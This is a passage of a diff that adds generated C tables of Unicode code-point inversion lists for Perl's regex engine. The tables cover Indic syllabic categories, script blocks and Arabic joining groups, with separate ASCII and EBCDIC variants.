+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x17C9,
+	0x17CB
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_INSC__SYLLABLEMODIFIER_invlist[] = { /* for ASCII/Latin1 */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB2,
+	0xB4,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xFC6,
+	0xFC7,
+	0x17CB,
+	0x17CC,
+	0x17CE,
+	0x17D1,
+	0x17D3,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x193B,
+	0x193C,
+	0x1A7B,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1C36,
+	0x1C37,
+	0x1DFB,
+	0x1DFC,
+	0x2074,
+	0x2075,
+	0x2082,
+	0x2085,
+	0x11A33,
+	0x11A34
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__SYLLABLEMODIFIER_invlist[] = { /* for EBCDIC 1047 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xFC6,
+	0xFC7,
+	0x17CB,
+	0x17CC,
+	0x17CE,
+	0x17D1,
+	0x17D3,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x193B,
+	0x193C,
+	0x1A7B,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1C36,
+	0x1C37,
+	0x1DFB,
+	0x1DFC,
+	0x2074,
+	0x2075,
+	0x2082,
+	0x2085,
+	0x11A33,
+	0x11A34
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__SYLLABLEMODIFIER_invlist[] = { /* for EBCDIC 037 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xFC6,
+	0xFC7,
+	0x17CB,
+	0x17CC,
+	0x17CE,
+	0x17D1,
+	0x17D3,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x193B,
+	0x193C,
+	0x1A7B,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1C36,
+	0x1C37,
+	0x1DFB,
+	0x1DFC,
+	0x2074,
+	0x2075,
+	0x2082,
+	0x2085,
+	0x11A33,
+	0x11A34
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_INSC__TONELETTER_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1970,
+	0x1975,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3
+};
+
+static const UV PL_INSC__TONEMARK_invlist[] = { /* for all charsets */
+	31,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE48,
+	0xE4C,
+	0xEC8,
+	0xECC,
+	0x1037,
+	0x1038,
+	0x1063,
+	0x1065,
+	0x1069,
+	0x106E,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109C,
+	0x19C8,
+	0x19CA,
+	0x1A75,
+	0x1A7A,
+	0xA92B,
+	0xA92E,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xABEC,
+	0xABED
+};
+
+static const UV PL_INSC__VIRAMA_invlist[] = { /* for all charsets */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x94D,
+	0x94E,
+	0x9CD,
+	0x9CE,
+	0xA4D,
+	0xA4E,
+	0xACD,
+	0xACE,
+	0xB4D,
+	0xB4E,
+	0xBCD,
+	0xBCE,
+	0xC4D,
+	0xC4E,
+	0xCCD,
+	0xCCE,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0x1B44,
+	0x1B45,
+	0xA8C4,
+	0xA8C5,
+	0xA9C0,
+	0xA9C1,
+	0x11046,
+	0x11047,
+	0x110B9,
+	0x110BA,
+	0x111C0,
+	0x111C1,
+	0x11235,
+	0x11236,
+	0x1134D,
+	0x1134E,
+	0x11442,
+	0x11443,
+	0x114C2,
+	0x114C3,
+	0x115BF,
+	0x115C0,
+	0x1163F,
+	0x11640,
+	0x116B6,
+	0x116B7,
+	0x11C3F,
+	0x11C40
+};
+
+static const UV PL_INSC__VISARGA_invlist[] = { /* for all charsets */
+	67,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x903,
+	0x904,
+	0x983,
+	0x984,
+	0xA03,
+	0xA04,
+	0xA83,
+	0xA84,
+	0xB03,
+	0xB04,
+	0xC03,
+	0xC04,
+	0xC83,
+	0xC84,
+	0xD03,
+	0xD04,
+	0xD83,
+	0xD84,
+	0xF7F,
+	0xF80,
+	0x1038,
+	0x1039,
+	0x17C7,
+	0x17C8,
+	0x1B04,
+	0x1B05,
+	0x1B82,
+	0x1B83,
+	0x1CF2,
+	0x1CF4,
+	0xA881,
+	0xA882,
+	0xA983,
+	0xA984,
+	0xAAF5,
+	0xAAF6,
+	0x10A0F,
+	0x10A10,
+	0x11002,
+	0x11003,
+	0x11082,
+	0x11083,
+	0x11102,
+	0x11103,
+	0x11182,
+	0x11183,
+	0x11303,
+	0x11304,
+	0x11445,
+	0x11446,
+	0x114C1,
+	0x114C2,
+	0x115BE,
+	0x115BF,
+	0x1163E,
+	0x1163F,
+	0x116AC,
+	0x116AD,
+	0x11A39,
+	0x11A3A,
+	0x11A97,
+	0x11A98,
+	0x11C3E,
+	0x11C3F,
+	0x11D41,
+	0x11D42
+};
+
+static const UV PL_INSC__VOWEL_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1963,
+	0x196E,
+	0xA85E,
+	0xA862,
+	0xA866,
+	0xA867,
+	0xA922,
+	0xA92B,
+	0x11150,
+	0x11155
+};
+
+static const UV PL_INSC__VOWELDEPENDENT_invlist[] = { /* for all charsets */
+	237,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x93A,
+	0x93C,
+	0x93E,
+	0x94D,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x962,
+	0x964,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4D,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAE2,
+	0xAE4,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD7,
+	0xBD8,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4D,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCD,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE30,
+	0xE3A,
+	0xE40,
+	0xE46,
+	0xE47,
+	0xE48,
+	0xEB0,
+	0xEBA,
+	0xEBB,
+	0xEBC,
+	0xEC0,
+	0xEC5,
+	0xF71,
+	0xF7E,
+	0xF80,
+	0xF82,
+	0x102B,
+	0x1036,
+	0x1056,
+	0x105A,
+	0x1062,
+	0x1063,
+	0x1067,
+	0x1069,
+	0x1071,
+	0x1075,
+	0x1083,
+	0x1087,
+	0x109C,
+	0x109E,
+	0x1712,
+	0x1714,
+	0x1732,
+	0x1734,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B6,
+	0x17C6,
+	0x17C8,
+	0x17C9,
+	0x1920,
+	0x1929,
+	0x193A,
+	0x193B,
+	0x19B0,
+	0x19C1,
+	0x1A17,
+	0x1A1C,
+	0x1A61,
+	0x1A74,
+	0x1B35,
+	0x1B44,
+	0x1BA4,
+	0x1BAA,
+	0x1BE7,
+	0x1BF0,
+	0x1C26,
+	0x1C2D,
+	0xA823,
+	0xA828,
+	0xA8B5,
+	0xA8C4,
+	0xA947,
+	0xA94F,
+	0xA9B4,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA33,
+	0xAAB0,
+	0xAABF,
+	0xAAEB,
+	0xAAF0,
+	0xABE3,
+	0xABEB,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A0E,
+	0x11038,
+	0x11046,
+	0x110B0,
+	0x110B9,
+	0x11127,
+	0x11133,
+	0x111B3,
+	0x111C0,
+	0x111CB,
+	0x111CD,
+	0x1122C,
+	0x11234,
+	0x112E0,
+	0x112E9,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134D,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11435,
+	0x11442,
+	0x114B0,
+	0x114BF,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115BC,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x1163D,
+	0x11640,
+	0x11641,
+	0x116AD,
+	0x116B6,
+	0x11720,
+	0x1172B,
+	0x11A01,
+	0x11A0B,
+	0x11A51,
+	0x11A5C,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C3C,
+	0x11CB0,
+	0x11CB5,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D40,
+	0x11D43,
+	0x11D44
+};
+
+static const UV PL_INSC__VOWELINDEPENDENT_invlist[] = { /* for all charsets */
+	157,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x904,
+	0x915,
+	0x960,
+	0x962,
+	0x972,
+	0x978,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x995,
+	0x9E0,
+	0x9E2,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA15,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xA95,
+	0xAE0,
+	0xAE2,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB15,
+	0xB60,
+	0xB62,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB95,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC15,
+	0xC60,
+	0xC62,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xC95,
+	0xCE0,
+	0xCE2,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD15,
+	0xD5F,
+	0xD62,
+	0xD85,
+	0xD97,
+	0x1021,
+	0x102B,
+	0x1052,
+	0x1056,
+	0x1700,
+	0x1703,
+	0x1720,
+	0x1723,
+	0x1740,
+	0x1743,
+	0x1760,
+	0x1763,
+	0x17A3,
+	0x17B4,
+	0x1A4D,
+	0x1A53,
+	0x1B05,
+	0x1B13,
+	0x1B83,
+	0x1B8A,
+	0x1BE4,
+	0x1BE6,
+	0xA800,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA882,
+	0xA892,
+	0xA984,
+	0xA989,
+	0xA98C,
+	0xA98F,
+	0xAA00,
+	0xAA06,
+	0xAAE0,
+	0xAAE2,
+	0xABCE,
+	0xABD0,
+	0xABD1,
+	0xABD2,
+	0x11005,
+	0x11013,
+	0x11083,
+	0x1108D,
+	0x11103,
+	0x11107,
+	0x11183,
+	0x11191,
+	0x11200,
+	0x11208,
+	0x11280,
+	0x11284,
+	0x112B0,
+	0x112BA,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11315,
+	0x11360,
+	0x11362,
+	0x11400,
+	0x1140E,
+	0x11481,
+	0x1148F,
+	0x11580,
+	0x1158E,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x1160E,
+	0x11680,
+	0x1168A,
+	0x11A00,
+	0x11A01,
+	0x11A50,
+	0x11A51,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C0E,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D0C
+};
+
+static const UV PL_INSHARADA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11180,
+	0x111E0
+};
+
+static const UV PL_INSIDDHAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11580,
+	0x11600
+};
+
+static const UV PL_INSINHALA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD80,
+	0xE00
+};
+
+static const UV PL_INSORASOMPENG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x110D0,
+	0x11100
+};
+
+static const UV PL_INSOYOMBO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11A50,
+	0x11AB0
+};
+
+static const UV PL_INSUNDANESE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B80,
+	0x1BC0
+};
+
+static const UV PL_INSYLOTINAGRI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA800,
+	0xA830
+};
+
+static const UV PL_INSYRIAC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x700,
+	0x750
+};
+
+static const UV PL_INTAGALOG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1700,
+	0x1720
+};
+
+static const UV PL_INTAGBANWA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1760,
+	0x1780
+};
+
+static const UV PL_INTAILE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1950,
+	0x1980
+};
+
+static const UV PL_INTAITHAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1A20,
+	0x1AB0
+};
+
+static const UV PL_INTAIVIET_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA80,
+	0xAAE0
+};
+
+static const UV PL_INTAKRI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11680,
+	0x116D0
+};
+
+static const UV PL_INTAMIL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB80,
+	0xC00
+};
+
+static const UV PL_INTANGUT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x17000,
+	0x18800
+};
+
+static const UV PL_INTELUGU_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC00,
+	0xC80
+};
+
+static const UV PL_INTHAANA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x780,
+	0x7C0
+};
+
+static const UV PL_INTHAI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE00,
+	0xE80
+};
+
+static const UV PL_INTIBETAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF00,
+	0x1000
+};
+
+static const UV PL_INTIFINAGH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D30,
+	0x2D80
+};
+
+static const UV PL_INTIRHUTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11480,
+	0x114E0
+};
+
+static const UV PL_INUGARITIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10380,
+	0x103A0
+};
+
+static const UV PL_INVAI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA500,
+	0xA640
+};
+
+static const UV PL_INVS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE00,
+	0xFE10
+};
+
+static const UV PL_INWARANGCITI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x118A0,
+	0x11900
+};
+
+static const UV PL_INZANABAZARSQUARE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11A00,
+	0x11A50
+};
+
+static const UV PL_IPAEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x250,
+	0x2B0
+};
+
+static const UV PL_ITAL_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x10330
+};
+
+static const UV PL_JAMO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1100,
+	0x1200
+};
+
+static const UV PL_JAMOEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA960,
+	0xA980
+};
+
+static const UV PL_JAMOEXTB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD7B0,
+	0xD800
+};
+
+static const UV PL_JAVA_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0
+};
+
+static const UV PL_JG__AFRICANFEH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8BB,
+	0x8BC
+};
+
+static const UV PL_JG__AFRICANNOON_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8BD,
+	0x8BE
+};
+
+static const UV PL_JG__AFRICANQAF_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8BC,
+	0x8BD
+};
+
+static const UV PL_JG__AIN_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x639,
+	0x63B,
+	0x6A0,
+	0x6A1,
+	0x6FC,
+	0x6FD,
+	0x75D,
+	0x760,
+	0x8B3,
+	0x8B4
+};
+
+static const UV PL_JG__ALAPH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x710,
+	0x711
+};
+
+static const UV PL_JG__ALEF_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x622,
+	0x624,
+	0x625,
+	0x626,
+	0x627,
+	0x628,
+	0x671,
+	0x674,
+	0x675,
+	0x676,
+	0x773,
+	0x775
+};
+
+static const UV PL_JG__BEH_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x628,
+	0x629,
+	0x62A,
+	0x62C,
+	0x66E,
+	0x66F,
+	0x679,
+	0x681,
+	0x750,
+	0x757,
+	0x8A0,
+	0x8A2,
+	0x8B6,
+	0x8B9
+};
+
+static const UV PL_JG__BETH_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x712,
+	0x713,
+	0x72D,
+	0x72E
+};
+
+static const UV PL_JG__BURUSHASKIYEHBARREE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x77A,
+	0x77C
+};
+
+static const UV PL_JG__DAL_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62F,
+	0x631,
+	0x688,
+	0x691,
+	0x6EE,
+	0x6EF,
+	0x759,
+	0x75B,
+	0x8AE,
+	0x8AF
+};
+
+static const UV PL_JG__DALATHRISH_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x715,
+	0x717,
+	0x72A,
+	0x72B,
+	0x72F,
+	0x730
+};
+
+static const UV PL_JG__E_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x725,
+	0x726
+};
+
+static const UV PL_JG__FARSIYEH_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x63D,
+	0x640,
+	0x6CC,
+	0x6CD,
+	0x6CE,
+	0x6CF,
+	0x775,
+	0x777
+};
+
+static const UV PL_JG__FE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x74F,
+	0x750
+};
+
+static const UV PL_JG__FEH_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x641,
+	0x642,
+	0x6A1,
+	0x6A7,
+	0x760,
+	0x762,
+	0x8A4,
+	0x8A5
+};
+
+static const UV PL_JG__FINALSEMKATH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x724,
+	0x725
+};
+
+static const UV PL_JG__GAF_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x63B,
+	0x63D,
+	0x6A9,
+	0x6AA,
+	0x6AB,
+	0x6AC,
+	0x6AF,
+	0x6B5,
+	0x762,
+	0x765,
+	0x8B0,
+	0x8B1
+};
+
+static const UV PL_JG__GAMAL_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x713,
+	0x715,
+	0x72E,
+	0x72F
+};
+
+static const UV PL_JG__HAH_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62C,
+	0x62F,
+	0x681,
+	0x688,
+	0x6BF,
+	0x6C0,
+	0x757,
+	0x759,
+	0x76E,
+	0x770,
+	0x772,
+	0x773,
+	0x77C,
+	0x77D,
+	0x8A2,
+	0x8A3
+};
+
+static const UV PL_JG__HAMZAONHEHGOAL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6C3,
+	0x6C4
+};
+
+static const UV PL_JG__HE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
